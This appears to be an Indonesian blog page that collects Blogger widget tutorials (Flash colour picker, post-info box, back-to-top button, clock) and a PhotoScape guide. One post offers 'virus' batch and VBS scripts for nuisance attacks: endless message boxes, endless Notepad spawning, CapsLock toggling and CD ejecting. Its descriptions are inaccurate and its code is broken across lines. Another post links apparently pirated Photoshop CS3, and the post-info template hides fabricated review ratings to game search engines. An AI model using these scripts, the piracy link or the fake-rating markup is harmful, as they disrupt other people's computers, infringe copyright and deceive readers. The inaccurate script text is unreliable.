Cara Membuat Wiget Kode Warna di Blog

kali ini saya akan berbagi lagi, judulnya "Cara Membuat Wiget Kode Warna di Blog", pasti sobat tidak aneh lagi mendengar kalimat "Cara Membuat Wiget Kode Warna di Blog", untuk lebih mengenalnya lihatlah screenshoot nya di bawah ini (klik gambar untuk melihat lebih jelas lagi) :

•  Demo

Sudah tau kan maksud saya, oke kalo begitu langsung saja ke tutorialnya ya, berikut tutorialnya:

• Login ke Blogger
• Buat Entri Baru/Postingan Baru
• Pada menu pembuatan artikel, pilih/klik tab menu HTML (Biasanya ada di pojok kiri atas, dekat tab Compose)
• Copy script di bawah ini didalam HTML (di postingan)

<div dir="ltr" style="text-align: left;" trbidi="on">
<div style="text-align: center;">
<span style="background-color: white; color: #555555; font-family: Roboto, Arial, Oswald, Helvetica, sans-serif; font-size: 13.333333969116211px; line-height: 23.399999618530273px;"><br /></span>
<span style="background-color: white; color: #555555; font-family: Roboto, Arial, Oswald, Helvetica, sans-serif; font-size: 13.333333969116211px; line-height: 23.399999618530273px;"><object border="0" classid="clsid:D27CDB6E-AE6D-11CF-96B8-444553540000" codebase="http://download.macromedia.com/pub/shockwave/cabs/flash/swflash.cab#version=6,0,40,0" height="480" id="obj1" width="480"> <param value="http://www.2createawebsite.com/build/color.swf" name="movie"><br /> <param value="High" name="quality"><br /> <embed pluginspage="http://www.macromedia.com/go/getflashplayer" quality="High" src="http://www.2createawebsite.com/build/color.swf" name="obj1" type="application/x-shockwave-flash" width="485" height="485"></embed> </object></span><br />
<span style="background-color: white; color: #555555; font-family: Roboto, Arial, Oswald, Helvetica, sans-serif; font-size: 13.333333969116211px; line-height: 23.399999618530273px;"><br /></span></div>
<span style="background-color: white; color: #555555; font-family: Roboto, Arial, Oswald, Helvetica, sans-serif; font-size: 13.333333969116211px; line-height: 23.399999618530273px;"><br /></span>
<br />
<div style="text-align: center;">
<span style="background-color: white; color: #555555; font-family: Roboto, Arial, Oswald, Helvetica, sans-serif; font-size: 13.333333969116211px; line-height: 23.399999618530273px;"><br /></span>
<span style="background-color: white; color: #555555; font-family: Roboto, Arial, Oswald, Helvetica, sans-serif; font-size: 13.333333969116211px; line-height: 23.399999618530273px;"><object align="middle" classid="clsid:d27cdb6e-ae6d-11cf-96b8-444553540000" codebase="http://fpdownload.macromedia.com/pub/shockwave/cabs/flash/swflash.cab#version=8,0,0,0" height="480" id="col" width="480"> <param value="sameDomain" name="allowScriptAccess"><br /> <param value="http://www.2createawebsite.com/build/col.swf" name="movie"><br /> <param value="high" name="quality"><br /> <param value="#ffffff" name="bgcolor"><br /> <embed pluginspage="http://www.macromedia.com/go/getflashplayer" quality="high" allowscriptaccess="sameDomain" type="application/x-shockwave-flash" src="http://www.2createawebsite.com/build/col.swf" bgcolor="#ffffff" name="col" width="480" align="middle" height="480"></embed>  </object></span></div>
</div>

Jika sudah dicopy paste, simpan postingan sobat dengan cara mengklik Publiskan (di kanan atas), dan lihat hasilnya, selamat mencoba dan semoga berhasil, jika sobat kurang paham dengan tutorial kali ini, bisa sobat tanyakan dengan cara berkomentar dibawah postingan ini.

Cara Membuat Virus PC Dengan Notepad

Komputer/laptop kalian pernah terinfeksi virus?, beberapa waktu yang lalu laptop saya terkena virus yang cukup menjengkelkan, data-data dalam hardisk hilang saya sangat jengkel dengan virus tersebut. Saya scan menggunakan Avast Antivirus ternyata berhasil :D. 

Kali ini saya akan share tutorial bagaimana Cara membuat Virus Sederhana Dengan Notepad. Ingat tutorial ini hanya untuk pengetahuan saja ya!. jadi jangan di salah gunakan. Ok simak tutorial berikut

1. Membuat virus Message yang muncul secara terus menerus

Caranya :

~Buka Notepad

~Masukan Script berikut 

@ECHO off

:

Begin

msg * Hai ?

msg * lagi apa ?

msg * jangan macam2

msg * rusak nanti ni PC !

msg * udah rusak !

msg * instal ulang aja!!!!

msg * tit............................

GOTO BEGIN

*kata kata diatas bisa di ubah sesuai dengan keinginan kalian

~Setelah itu Save dengan extensi .bat contohnya : Rahmatagung8.bat

2. Membuka notepad secara terus-menerus

Caranya sama seperti diatas bedanya hanya scriptnya

@ECHO off

:top

START %SystemRoot%

\system32\notepad.exe

GOTO top

 Save dengan extensi .bat

3. komputer mati sendiri dan ngirim message script nya

Set wshShell

=wscript.CreateObject

("WScript.Shell")

do

wscript.sleep 100

wshshell.sendkeys "{CAPSLOCK}"

loop

Save dengan extensi .vbs

4. Virus membuka tutup cd room terus menerus

Set oWMP = CreateObject

("WMPlayer.OCX.7")

Set colCDROMs =

oWMP.cdromCollection

do

if colCDROMs.Count &gt;= 1 then

For i = 0 to colCDROMs.Count - 1

colCDROMs.Item(i).Eject

Next

For i = 0 to colCDROMs.Count - 1

colCDROMs.Item(i).Eject

Next

End If

wscript.sleep 5000

loop

simpan dengan .vbs

Yap, mungkin itu saja yang bisa saya bagikan, mudah kan cara buatnya? hhe. Silahkan di pelajari dan jangan di salah gunakan.

Cara Membuat Informasi Postingan SEO Friendly

Alhamdulillah, masih diberi kesempatan buat sharing/berbagi lagi...
Kali Ini saya akan memberi Tau Cara membuat informasi postingan? , nah kali ini saya akan memberitahukan bagaimana cara nya ..

Cara-nya :

Langkah 1 : Masuk Blogger, klik menu Template → Edit HTML 

Langkah 2 : Setelah itu, cari kode <div class='comments' id='comments'> lalu simpan kode di bawah ini tepat di atas nya :

<!-- Info Postingan Awal -->
<b:if cond='data:blog.pageType == &quot;item&quot;'> 
 <div id='info-postingan'>
<div class='post_byfix radius shadow'>
<div class='post_by'>
<div class='post_byimz'>
<b:if cond='data:post.thumbnailUrl'>
<img class='post-thumbnail radius' expr:alt='data:post.title' expr:src='data:post.thumbnailUrl'/>
 <b:else/>
<img alt='no image' class='post-thumbnail radius' src='https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiDY4cJ9RXB6So0ndazzxuJxvCmPVJVD72qSA5BK6CAwQtdAi2HQYtrUmrSCTI2W7rzf2vw-fO9sI4WMWeI1FGBvTjl8lgCNmKslSa-YJdQDYbJ18VnKbGdLZxjze_mcJ6tWySqTQ46bm6i/s1600/no_image.jpg'/>
</b:if>
</div>

<ul>
  <li><b>Judul :</b> <a expr:href='data:post.url' expr:title='data:post.title'><data:post.title/></a></li>
<li><b>Penulis :</b> <span class='post-author vcard'> <span class='fn'><a class='g-profile' expr:href='data:post.authorProfileUrl' rel='author' target='_blank'><data:post.author/></a></span></span></li>
<li><b>Kategori :</b> <span class='post-labels'>
        <b:if cond='data:post.labels'>          
          <b:loop values='data:post.labels' var='label'>
            <a expr:href='data:label.url' rel='tag'><data:label.name/></a><b:if cond='data:label.isLast != &quot;true&quot;'> <i class='icon-angle-right'/> </b:if>
          </b:loop>
        </b:if>
      </span></li>
<li>
<div itemscope='' itemtype='http://data-vocabulary.org/Review-aggregate'>
  <b>Rating :</b> <span itemprop='rating' itemscope='' itemtype='http://data-vocabulary.org/Rating'>
<span itemprop='average'>100%</span>
</span>
    based on <span itemprop='votes'>10</span> ratings.
    <span itemprop='count'>5</span> user reviews.
</div>
</li>
</ul>
</div>

</div>

<div itemscope='' itemtype='http://data-vocabulary.org/Review'>
<div style='position:fixed;z-index:-500;opacity:0;top:0px;left:0px;'>  
<div itemscope='' itemtype='http://data-vocabulary.org/Review-aggregate'>
Item Reviewed: <span itemprop='itemreviewed'><data:post.title/></span>
<span itemprop='rating' itemscope='' itemtype='http://data-vocabulary.org/Rating'> <span itemprop='average'>9</span> out of <span itemprop='best'>10</span> based on <span itemprop='votes'>10</span> ratings. <span itemprop='count'>9</span> user reviews.
</span>
</div>
</div>
</div>
    </div>
<div class='clear'/>
</b:if>
<!-- Info Postingan Akhir -->

Langkah 3 - Terakhir simpan kode CSS dibawah ini tepat sebelum/di atas kode </head> :

<style>
.post_byfix {
    float: left;
    background: #fff;
    width: 100%;
    overflow: hidden;
    clear: both;
    margin-bottom: 10px;
}

.post_byimz {
    display: block;
    float: left;
    padding: 4px!important;
    margin-left: 2px!important;
    padding-right: 10px!important;
    margin-top: 5px!important;
    overflow: hidden;
}

.post_byimz img {
    width: 80px;
    height: 80px;
    -webkit-border-radius: 5px;
    -moz-border-radius: 5px;
    border-radius: 5px;
}

.post_by {
    float: right;
    color: #423119;
    width: 100%;
    font-family: arial,Helvetica,san-serif;
    font-weight: 400;
    font-size: 11px;
}

.post_by ul {
    margin: 0;
    padding: 0;
    margin-top: 9px;
}

.post_by li {
    list-style: none;
    padding: 3px 10px!important;
}
</style>

Selesai .. Semoga Bermanfaat ^_^

Download Adobe Photoshop CS3 Full Version

kali ini saya mau share Software Edit photo "Adobe Photoshop CS3" software editing foto ini sangat populer digunakan oleh para master edit foto, selain toolsnya yang canggih, hasil dari editing foto yang dihasilkan penuh dengan berbagai efek dan tampak nyata. tapi untuk pemula memang agak sulit digunakan. Tapi jika kalian pelajari terus menerus itu akan sangat menguntungkan bagi anda. Langsung saja Download softwarenya di bawah ini :

Download PhotoShop CS3 

 PASSWOD Photoshop CS3: rahmatagung8.blogspot.com

Cara Membuat Smooth Back to Top dengan jQuery di Blog

Smooth Back to Top dengan Jquery. itulah yang akan saya share pada kesempatan kali ini, fungsi dari tombol back to top ini adalah sebagai pintasan dari bawah naik keatas, apabila halaman terlalu tinggi saat discroll kebawah dan kita ingin kembali keatas, kita hanya tinggal mengklik tombol back to top tersebut maka dengan otomatis halaman akan kembali keatas. Sebetulnya tutorial kali ini banyak yang sudah memposkan, saya juga dapat kode-kode aneh ini dari teman saya dan saya hanya memodifikasinya sedikit tadinya berbentuk seperempat bulat, dan saya modifikasi sedikit dan bentuknya menjadi atas kanan dan kiri menjadi agak bulat sedikit, dan kebawahnya lurus, demonya bisa dilihat diblog ini dipojok kanan bawah.

Untuk memasang tombol Back to Top Smooth dengan Jquery ikuti langkah-langkah berikut:
1. Login akun Blogger anda.
2. Pada Dashboard pilih Template » Edit HTML
3. Letakkan kode dibawah ini tepat di atas kode ]]></b:skin>

/* Smooth Back to Top dengan jQuery */
#backtop { cursor:pointer; position:fixed !important; position:absolute; left:96%; bottom:-70px; z-index:999; background-color:#ff0000; border:1px solid #333; -webkit-box-shadow:inset 0 0 25px rgba(0,0,0,0.3),0px 1px 5px #333; -moz-box-shadow:inset 0 0 25px rgba(0,0,0,0.3),0px 1px 5px #333; box-shadow:inset 0 0 25px rgba(0,0,0,0.3),0px 1px 5px #333; width:30px; height:45px; overflow:hidden; text-indent:-999px; -webkit-border-top-left-radius:10px; -webkit-border-top-right-radius:5px; -moz-border-radius-topleft:5px; -moz-border-radius-topright:5px; border-top-left-radius:5px; border-top-right-radius:5px }
#backtop::after { content:" " ; position:absolute; top:3px; left:8px; width:0; height:0; border-width:12px 7px; border-style:solid; border-color:transparent transparent #f7f7f7 transparent }

4. Kemudian letakkan kode berikut ini diatas kode </body>

<!-- Smooth Back to Top dengan jQuery -->
<div id='backtop'>Back to Top</div>
<script type='text/javascript'>
//<![CDATA[
$(window).scroll(function(){if($(this).scrollTop()>100){$("#backtop").removeAttr("href");$("#backtop").stop().animate({bottom:"-3",right:"0"},{duration:800,queue:false})}else{$("#backtop").stop().animate({bottom:"-54",right:"0"},{duration:1000,queue:false})}});$(function(){$("#backtop").click(function(){$("html, body").animate({scrollTop:0},"slow");return false})});
//]]>
</script>

5. Simpan Template

Catatan :

- Untuk mengganti warna kotak penulis atau author box silahkan pilih warnanya disini Kode Warna.
- #ff0000 adalah warna Smooth Back to Top.

Sekian artikel mengenai Cara Membuat Smooth Back to Top dengan jQuery di Blog. Kurang lebihnya mohon maaf.
Semoga Bermanfaat...

Cara Memasang Widget Jam Digital di Blog

Hai sobat Rahmat Agung, kali ini saya akan berbagi ilmu lagi nih, tentang Cara Memasang Widget Jam Digital di Blog, totorial  ini memang sangatlah mudah untuk dicoba. Pada postingan ini yaitu usulan dari teman saya yang meminta widget jam digital saya, dan sekarang saya berbagi tutorialnya. Untuk demonya anda bisa lihat disamping menu atas saya, atau melihat gambar dibawah ini :

Langsung saja ke tutorialnya :
1. Login ke Blogger
2. Masuk ke Template ==> edit HTML
3. Lalu cari kode ]]></b:skin>, jika sudah ketemu letakan kode dibawah ini tepat di atas kode ]]></b:skin>

/* Clock rahmatagung8.blogspot.com */
#clock {
cursor: default;
float: left;
font-weight: bold;
margin: 5px;
padding: 5px;
color: #fff;
}

4. HTML bisa anda letakan dibawah header atau dibawah menu, kalau saya meletakannya dibawah header.

<!-- Clock  -->
<div id='clock'>
<script type='text/javascript'>
 window.setTimeout("hour()",1000);
 function hour() {
 var date = new Date();
 setTimeout("hour()",1000);
document.getElementById("clock").innerHTML = date.getHours()+":"+date.getMinutes()+":"+date.getSeconds();
 }
</script>
</div>
<!-- Clock End --> 

Keterangan :
kode yang berwarna hijau itu jenis teksnya tebal, dan kode yang berwarna biru itu warna teksnya, bisa anda ubah sesuai selera anda.
5. Lalu simpan template, dan lihat hasilnya.
semoga bermanfaat ^_^

Cara Membuat Foto 9 in One di FaceBook

Oke agan. uda lama ga posting rasa nya kangen mau posting smile kali ini saya akan bahas cara membuat Foto 9 in 1 untuk profile agan. contoh foto nya ada diatas smile oke Bahan bahan yg di perlukan  

-PotoScape Agan bisa Download Disini
-Foto yang mau agan jadiin 9 in 1 setelah lengkap bahan bahan nya. langsung saja kita ke cara

pembuatannya. pertama agan buka potoscape nya. setelah agan buka.
sekarang agan klik editor untuk merubah ukuran foto. Lihat Gambar!. 

setelah agan masuk dimenu editor. agan liat di kiri bagian atas. itu adalah lokasi file foto. agan cari file foto agan yg mau di jadikan 9 in 1 ditempat yg dikasi kotak merah. dan setelah agan menemukan foto nya. sekarang agan klik Resize. atau bisa lihat gambar.! 

setelah agan klik Resize. dimenu Resize hilang kan tanda ceklis yg ada di kotak kecil bagian bawah. setelah itu agan sesuai nya ukuran nya menjadi 300 x 300 Widht: 300 Height: 300 atau bisa lihat gambar.! 

setelah agan sesuai kan ukuran nya. lalu agan klik OK. trus agan klik save untuk menyimpan foto yg sudah di ubah ukuran nya. lokasi penyimpanan bisa agan sesuaikan atau tidak. itu terserah agan. Lihat Gambar!

oke setelah agan save sekarang agan klik menu PhotoScape. setelah itu agan Pilih Splitter. untuk membagi foto menjadi 9 bagian. 

dimenu splitter. agan klik Add untuk menambahkan foto yg mau dijadi 9 bagian. tentu nya foto yg sudah diubah ukuran nya menjadi 300 x 300. 

next setelah agan masukan foto nya. sekarang agan klik Split. dimenu split. akan muncul untuk lokasi penyimpanan nya. setelah itu agan Klik Split. 

oke agan sudah berhasi dibagian membagi foto menjadi 9. sekarang agan tinggal upload foto nya 1 persatu dari urutan 9 - 1. setelah agan upload. lalu agan tag nama agan sendiri / nama teman agan jg boleh. ke foto dari urutan 9 - 1 agar tidak berantakan nanti nya.